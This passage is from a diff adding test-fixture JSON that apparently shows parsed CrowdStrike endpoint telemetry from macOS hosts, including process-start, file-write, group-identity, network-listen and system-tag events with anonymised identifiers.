bad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501\",\"event_simpleName\":\"DeliverLocalFXToCloud\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.14\",\"ModelPrediction\":\"1436899696705536\",\"SHA256HashData\":\"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2\",\"Malicious\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"FeatureExtractionVersion\":\"2\",\"event_platform\":\"Mac\",\"FXFileSize\":\"502032\",\"Entitlements\":\"15\",\"name\":\"DeliverLocalFXToCloudMacV4\",\"PupAdwareDecisionValue\":\"12384657383358464\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"PupAdwareConfidence\":\"0\",\"EffectiveTransmissionClass\":\"1\",\"aid\":\"ffffffff45d647e6ae0ba8764a4bd570\",\"MLModelVersion\":\"4\",\"timestamp\":\"1625677489052\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
+            },
+            "host": {
+                "id": "ffffffff45d647e6ae0ba8764a4bd570",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "DeliverLocalFXToCloud",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff45d647e6ae0ba8764a4bd570",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2",
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:25.128Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365035560818271291",
+                "ContextTimeStamp": "2021-07-07T17:05:24.929Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8332-020506b18db5",
+                "name": "CreateProcessArgsMac"
+            },
+            "device": {
+                "id": "ffffffffb3a3442585c05abc61e290fc"
+            },
+            "event": {
+                "action": "CreateProcessArgs",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:25.128Z",
+                "id": "ffffffff-1111-11eb-8332-020506b18db5|ffffffffb3a3442585c05abc61e290fc|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"CreateProcessArgs\",\"ContextTimeStamp\":\"1625677524.929\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365035560818271291\",\"ContextThreadId\":\"365035560818271291\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"CommandLine\":\"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules\",\"Entitlements\":\"15\",\"name\":\"CreateProcessArgsMac\",\"id\":\"ffffffff-1111-11eb-8332-020506b18db5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffb3a3442585c05abc61e290fc\",\"timestamp\":\"1625677525128\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "directory": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin",
+                "name": "swift-frontend",
+                "path": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffb3a3442585c05abc61e290fc",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "CreateProcessArgs",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffb3a3442585c05abc61e290fc",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "args": [
+                    "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o",
+                    "-o",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o",
+                    "-index-store-path",
+                    "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore",
+                    "-index-system-modules"
+                ],
+                "args_count": 18,
+                "command_line": "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules",
+                "entity_id": "365035560818271291",
+                "thread": {
+                    "id": 365035560818271291
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:48.576Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "364156540965623394",
+                "ContextTimeStamp": "2021-07-07T17:04:48.523Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8903-022a1941b91f",
+                "name": "PdfFileWrittenMacV1"
+            },
+            "device": {
+                "id": "ffffffffc4044541995bffd84b9df003"
+            },
+            "event": {
+                "action": "PdfFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:04:48.576Z",
+                "id": "ffffffff-1111-11eb-8903-022a1941b91f|ffffffffc4044541995bffd84b9df003|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1625677488.523\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364156540965623394\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"05000001000000000000000000000000f1321d0000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PdfFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8903-022a1941b91f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffc4044541995bffd84b9df003\",\"timestamp\":\"1625677488576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO",
+                "inode": "05000001000000000000000000000000f1321d0000000000",
+                "name": "mso6ACABA95",
+                "path": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffc4044541995bffd84b9df003",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "PdfFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffc4044541995bffd84b9df003",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364156540965623394",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:38.379Z",
+            "crowdstrike": {
+                "AuthenticationId": "1119489580471877843",
+                "AuthenticationUuid": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2",
+                "AuthenticationUuidAsString": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2",
+                "ConfigStateHash": "3967242894",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "GroupIdentityMacV2"
+            },
+            "device": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab"
+            },
+            "event": {
+                "action": "GroupIdentity",
+                "created": "2021-07-07T17:04:38.379Z",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"event_simpleName\":\"GroupIdentity\",\"GID\":\"242\",\"AuthenticationUuidAsString\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"1119489580471877843\",\"UserPrincipal\":\"user2@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1485\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GroupIdentityMacV2\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"timestamp\":\"1625677478379\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "GroupIdentity",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user2",
+                    "user2@dom1",
+                    "S-1-5-21-3852557355-3178143607-2040168074-1485"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom1",
+                "email": "user2@dom1",
+                "full_name": "user2",
+                "group": {
+                    "id": "242"
+                },
+                "id": "S-1-5-21-3852557355-3178143607-2040168074-1485"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:39.336Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3967242894",
+                "ContextProcessId": "364938429384226082",
+                "ContextTimeStamp": "2021-07-07T01:50:11.845Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "MachOSubType": "3",
+                "SHA256HashData": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "MachOFileWrittenMacV3"
+            },
+            "device": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab"
+            },
+            "event": {
+                "action": "MachOFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:04:39.336Z",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1625622611.845\",\"ConfigStateHash\":\"3967242894\",\"MachOSubType\":\"3\",\"ContextProcessId\":\"364938429384226082\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"SHA256HashData\":\"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198\",\"FileIdentifier\":\"04000001000000000000000000000000ac41270400000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"MachOFileWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677479336\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T",
+                "extension": "ev80yl",
+                "hash": {
+                    "sha256": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198"
+                },
+                "inode": "04000001000000000000000000000000ac41270400000000",
+                "name": ".net.example.desktop.ev80yl",
+                "path": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl",
+                "size": 0,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "MachOFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364938429384226082",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198",
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:38.929Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3967242894",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "364938390018585510",
+                "ContextTimeStamp": "2021-07-07T01:50:08.014Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "0:0:0:0:0:0:0:0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "NetworkListenIP6MacV10"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab"
+            },
+            "event": {
+                "action": "NetworkListenIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:38.929Z",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1625622608.014\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"ConfigStateHash\":\"3967242894\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364938390018585510\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"8770\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP6MacV10\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677478929\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkListenIP6",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364938390018585510"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "0:0:0:0:0:0:0:0"
+                ]
+            },
+            "source": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 8770
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:02.693Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "SystemTableIndex": 0,
+                "Tags": [
+                    "312",
+                    "11544872091698",
+                    "21990232555653",
+                    "21990232555859",
+                    "26388279066700",
+                    "26388279066703",
+                    "26388279066704",
+                    "26388279066705",
+                    "26388279066708",
+                    "26388279066849",
+                    "26388279066855",
+                    "26388279066948",
+                    "26388279066958",
+                    "26388279066970",
+                    "26388279067150",
+                    "26388279067174",
+                    "26388279067175",
+                    "26405458935929",
+                    "26405458935963",
+                    "26405458935964",
+                    "26405458936063",
+                    "26405458936087",
+                    "26405458936088",
+                    "26405458936130",
+                    "26405458936163",
+                    "26405458936164",
+                    "26405458936166",
+                    "26405458936167",
+                    "26405458936242",
+                    "26405458936306",
+                    "26405458936307",
+                    "26405458936357",
+                    "26405458936510",
+                    "26405458936511",
+                    "26405458936522",
+                    "26405458936523",
+                    "26422638805193",
+                    "26422638805230",
+                    "26422638805244",
+                    "26422638805245",
+                    "26422638805246",
+                    "26439818674539",
+                    "26439818674540",
+                    "26439818674541",
+                    "26439818674542",
+                    "26439818674543",
+                    "26439818674544",
+                    "26439818674614",
+                    "26439818674615",
+                    "26439818674616",
+                    "26439818674617",
+                    "26439818674678",
+                    "26439818674679",
+                    "26439818674680",
+                    "26439818674882",
+                    "26439818674883",
+                    "26439818674884",
+                    "26439818674894",
+                    "26439818674895",
+                    "26439818674896",
+                    "26456998543646",
+                    "26456998543647",
+                    "26456998543648",
+                    "26456998543649",
+                    "26456998543650",
+                    "26456998543651",
+                    "26456998543652",
+                    "26456998543653",
+                    "26456998543654",
+                    "26456998543656",
+                    "26456998543721",
+                    "26456998543722",
+                    "26456998543744",
+                    "26456998543793",
+                    "26456998543811",
+                    "26456998543903",
+                    "26456998543904",
+                    "26456998543950",
+                    "26456998543963",
+                    "26456998544000",
+                    "26456998544045",
+                    "26456998544086",
+                    "26456998544087",
+                    "26456998544115",
+                    "30803505447073",
+                    "30803505447074",
+                    "30803505447075",
+                    "30803505447076",
+                    "30803505447077",
+                    "30803505447078",
+                    "30803505447194",
+                    "30803505447195",
+                    "30803505447196",
+                    "30803505447528",
+                    "30803505447529",
+                    "30803505447530",
+                    "30803505447532",
+                    "30803505447533",
+                    "30803505447534",
+                    "30803505447537",
+                    "30803505447538",
+                    "30803505447539",
+                    "30803505447541",
+                    "30803505447542",
+                    "30803505447543",
+                    "30803505447567",
+                    "30803505447568",
+                    "30803505447569",
+                    "30803505447571",
+                    "30803505447572",
+                    "30803505447573",
+                    "30803505447575",
+                    "30803505447576",
+                    "30803505447577",
+                    "30803505447579",
+                    "30803505447580",
+                    "30803505447581",
+                    "30803505447583",
+                    "30803505447584"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7",
+                "name": "CurrentSystemTagsMacV1"
+            },
+            "device": {
+                "id": "ffffffff62714a708030d494ca0a7e60"
+            },
+            "event": {
+                "action": "CurrentSystemTags",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:05:02.693Z",
+                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"CurrentSystemTags\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"SystemTableIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"CurrentSystemTagsMacV1\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 